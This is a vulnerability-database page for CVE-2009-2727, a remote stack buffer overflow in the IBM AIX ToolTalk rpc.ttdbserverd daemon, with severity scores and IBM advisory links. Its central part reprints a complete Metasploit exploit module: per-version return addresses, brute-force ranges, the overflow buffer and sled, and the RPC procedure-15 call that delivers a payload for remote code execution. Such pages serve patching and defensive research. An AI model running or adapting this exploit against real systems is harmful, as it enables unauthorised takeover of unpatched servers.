CVE-2009-2727 : Detail

CVE-2009-2727

Overflow
54.66%V3
Network
2009-08-10
23h00 +00:00
2024-09-16
17h03 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Stack-based buffer overflow in the _tt_internal_realpath function in the ToolTalk library (libtt.a) in IBM AIX 5.2.0, 5.3.0, 5.3.7 through 5.3.10, and 6.1.0 through 6.1.3, when the rpc.ttdbserver daemon is enabled in /etc/inetd.conf, allows remote attackers to execute arbitrary code via a long XDR-encoded ASCII string to remote procedure 15.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics Score Severity CVSS Vector Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 16930

Publication date : 2010-11-10
23h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # $Id: rpc_ttdbserverd_realpath.rb 10998 2010-11-11 22:43:22Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::SunRPC include Msf::Exploit::Brute def initialize(info = {}) super(update_info(info, 'Name' => 'ToolTalk rpc.ttdbserverd _tt_internal_realpath Buffer Overflow (AIX)', 'Description' => %q{ This module exploits a buffer overflow vulnerability in _tt_internal_realpath function of the ToolTalk database server (rpc.ttdbserverd). }, 'Author' => [ 'Adriano Lima <[email protected]>', 'ramon' ], 'Version' => '$Revision: 10998 $', 'Platform' => [ 'aix' ], 'References' => [ [ 'CVE', '2009-2727'], [ 'OSVDB', '55151' ] ], 'Payload' => { 'BadChars' => "\x00", }, 'Targets' => [ [ 'IBM AIX Version 6.1.4', { 'Arch' => 'ppc', 'Platform' => 'aix', 'Ret' => 0x20099430+4096, 'Addr1' => 0x2ff1ff50-8192, 'AIX' => '6.1.4', 'Bruteforce' => { 'Start' => { 'Ret' => 0x20099430-8192 }, 'Stop' => { 'Ret' => 0x20099430+8192 }, 'Step' => 1024 } } ], [ 'IBM AIX Version 6.1.3', { 'Arch' => 'ppc', 'Platform' => 'aix', 'Ret' => 0x20099280+4096, 'Addr1' => 0x2ff1ffd0-8192, 'AIX' => '6.1.3', 'Bruteforce' => { 'Start' => { 'Ret' => 0x20099280-8192 }, 'Stop' => { 'Ret' => 0x20099280+8192 }, 'Step' => 1024 } } ], [ 'IBM AIX Version 6.1.2', { 'Arch' => 'ppc', 'Platform' => 'aix', 'Ret' => 0x20099280+4096, 'Addr1' => 0x2ff1ffd0-8192, 'AIX' => '6.1.2', 'Bruteforce' => { 'Start' => { 'Ret' => 0x20099280-8192 }, 'Stop' => { 'Ret' => 0x20099280+8192 }, 'Step' => 1024 } } ], [ 'IBM AIX Version 6.1.1', { 'Arch' => 'ppc', 'Platform' => 'aix', 'Ret' => 0x20099280+4096, 'Addr1' => 0x2ff1ffd0-8192, 'AIX' => '6.1.1', 'Bruteforce' => { 'Start' => { 'Ret' => 0x20099280-8192 }, 'Stop' => { 'Ret' => 0x20099280+8192 }, 'Step' => 1024 } } ], [ 'IBM AIX Version 6.1.0', { 'Arch' => 'ppc', 'Platform' => 'aix', 'Ret' => 0x20099280+4096, 'Addr1' => 0x2ff1ffd0-8192, 'AIX' => '6.1.0', 'Bruteforce' => { 'Start' => { 'Ret' => 0x20099280-8192 }, 'Stop' => { 'Ret' => 0x20099280+8192 }, 'Step' => 1024 } } ], [ 'IBM AIX Version 5.3.10 5.3.9 5.3.8 5.3.7', { 'Arch' => 'ppc', 'Platform' => 'aix', 'Ret' => 0x20096ba0+4096, 'Addr1' => 0x2ff1ff14-8192, 'AIX' => '5.3.9', 'Bruteforce' => { 'Start' => { 'Ret' => 0x20096ba0-8192 }, 'Stop' => { 'Ret' => 0x20096ba0+8192 }, 'Step' => 1024 } } ], [ 'IBM AIX Version 5.3.10', { 'Arch' => 'ppc', 'Platform' => 'aix', 'Ret' => 0x20096bf0+4096, 'Addr1' => 0x2ff1ff14-8192, 'AIX' => '5.3.10', 'Bruteforce' => { 'Start' => { 'Ret' => 0x20096bf0-8192 }, 'Stop' => { 'Ret' => 0x20096bf0+8192 }, 'Step' => 1024 } } ], [ 'IBM AIX Version 5.3.9', { 'Arch' => 'ppc', 'Platform' => 'aix', 'Ret' => 0x20096ba0+4096, 'Addr1' => 0x2ff1ff14-8192, 'AIX' => '5.3.9', 'Bruteforce' => { 'Start' => { 'Ret' => 0x20096ba0-8192 }, 'Stop' => { 'Ret' => 0x20096ba0+8192 }, 'Step' => 1024 } } ], [ 'IBM AIX Version 5.3.8', { 'Arch' => 'ppc', 'Platform' => 'aix', 'Ret' => 0x20096c10+4096, 'Addr1' => 0x2ff1ff98-8192, 'AIX' => '5.3.8', 'Bruteforce' => { 'Start' => { 'Ret' => 0x20096c10-8192 }, 'Stop' => { 'Ret' => 0x20096c10+8192 }, 'Step' => 1024 } } ], [ 'IBM AIX Version 5.3.7', { 'Arch' => 'ppc', 'Platform' => 'aix', 'Ret' => 0x20096c10+4096, 'Addr1' => 0x2ff1ff98-8192, 'AIX' => '5.3.7', 'Bruteforce' => { 'Start' => { 'Ret' => 0x20096c10-8192 }, 'Stop' => { 'Ret' => 0x20096c10+8192 }, 'Step' => 1024 } } ], [ 'Debug IBM AIX Version 6.1', { 'Arch' => 'ppc', 'Platform' => 'aix', 'Ret' => 0xaabbccdd, 'Addr1' => 0xddccbbaa, 'AIX' => '6.1.4', 'Bruteforce' => { 'Start' => { 'Ret' => 0xaabbccdd }, 'Stop' => { 'Ret' => 0xaabbccdd }, 'Step' => 1024 } } ], [ 'Debug IBM AIX Version 5.3', { 'Arch' => 'ppc', 'Platform' => 'aix', 'Ret' => 0xaabbccdd, 'Addr1' => 0xddccbbaa, 'AIX' => '5.3.10', 'Bruteforce' => { 'Start' => { 'Ret' => 0xaabbccdd }, 'Stop' => { 'Ret' => 0xaabbccdd }, 'Step' => 1024 } } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jun 17 2009')) end def brute_exploit(brute_target) if not @aixpayload datastore['AIX'] = target['AIX'] @aixpayload = regenerate_payload.encoded end print_status("Trying to exploit rpc.ttdbserverd with address 0x%08x..." % brute_target['Ret']) begin sunrpc_create('tcp', 100083, 1) if target['AIX'] =~ /6\./ buf = "A" else buf = "AA" end buf << [target['Addr1']].pack('N') * (1022 + 8) buf << [brute_target['Ret']].pack('N') * 32 if target['AIX'] =~ /6\./ buf << "AAA" else buf << "AA" end buf << "\x7f\xff\xfb\x78" * 1920 buf << @aixpayload buf = XDR.encode(buf, 2, 0x78000000, 2, 0x78000000) print_status('Sending procedure 15 call message...') sunrpc_call(15, buf) sunrpc_destroy handler rescue Rex::Proto::SunRPC::RPCTimeout # print_error('RPCTimeout') rescue EOFError # print_error('EOFError') end end end

Products Mentioned

Configuraton 0

Ibm>>Aix >> Version 5.2

Ibm>>Aix >> Version 5.2.0

Ibm>>Aix >> Version 5.2.0.50

Ibm>>Aix >> Version 5.2.0.54

Ibm>>Aix >> Version 5.2.2

Ibm>>Aix >> Version 5.2_l

Ibm>>Aix >> Version 5.3

Ibm>>Aix >> Version 5.3.0

Ibm>>Aix >> Version 5.3.7

Ibm>>Aix >> Version 5.3.8

Ibm>>Aix >> Version 5.3.9

Ibm>>Aix >> Version 5.3.10

    Ibm>>Aix >> Version 6.1

    Ibm>>Aix >> Version 6.1.0

    Ibm>>Aix >> Version 6.1.1

    Ibm>>Aix >> Version 6.1.2

    References

    http://www.ibm.com/support/docview.wss?uid=isg1IZ52843
    Tags : vendor-advisory, x_refsource_AIXAPAR
    http://secunia.com/advisories/35505
    Tags : third-party-advisory, x_refsource_SECUNIA
    http://www.vupen.com/english/advisories/2009/1620
    Tags : vdb-entry, x_refsource_VUPEN
    http://www.ibm.com/support/docview.wss?uid=isg1IZ52848
    Tags : vendor-advisory, x_refsource_AIXAPAR
    http://www.ibm.com/support/docview.wss?uid=isg1IZ52844
    Tags : vendor-advisory, x_refsource_AIXAPAR
    http://www.ibm.com/support/docview.wss?uid=isg1IZ52850
    Tags : vendor-advisory, x_refsource_AIXAPAR
    http://www.ibm.com/support/docview.wss?uid=isg1IZ52847
    Tags : vendor-advisory, x_refsource_AIXAPAR
    http://www.ibm.com/support/docview.wss?uid=isg1IZ52849
    Tags : vendor-advisory, x_refsource_AIXAPAR
    http://www.securityfocus.com/bid/35419
    Tags : vdb-entry, x_refsource_BID
    http://www.ibm.com/support/docview.wss?uid=isg1IZ52851
    Tags : vendor-advisory, x_refsource_AIXAPAR
    http://www.ibm.com/support/docview.wss?uid=isg1IZ52842
    Tags : vendor-advisory, x_refsource_AIXAPAR
    http://www.ibm.com/support/docview.wss?uid=isg1IZ52846
    Tags : vendor-advisory, x_refsource_AIXAPAR
    http://www.ibm.com/support/docview.wss?uid=isg1IZ52845
    Tags : vendor-advisory, x_refsource_AIXAPAR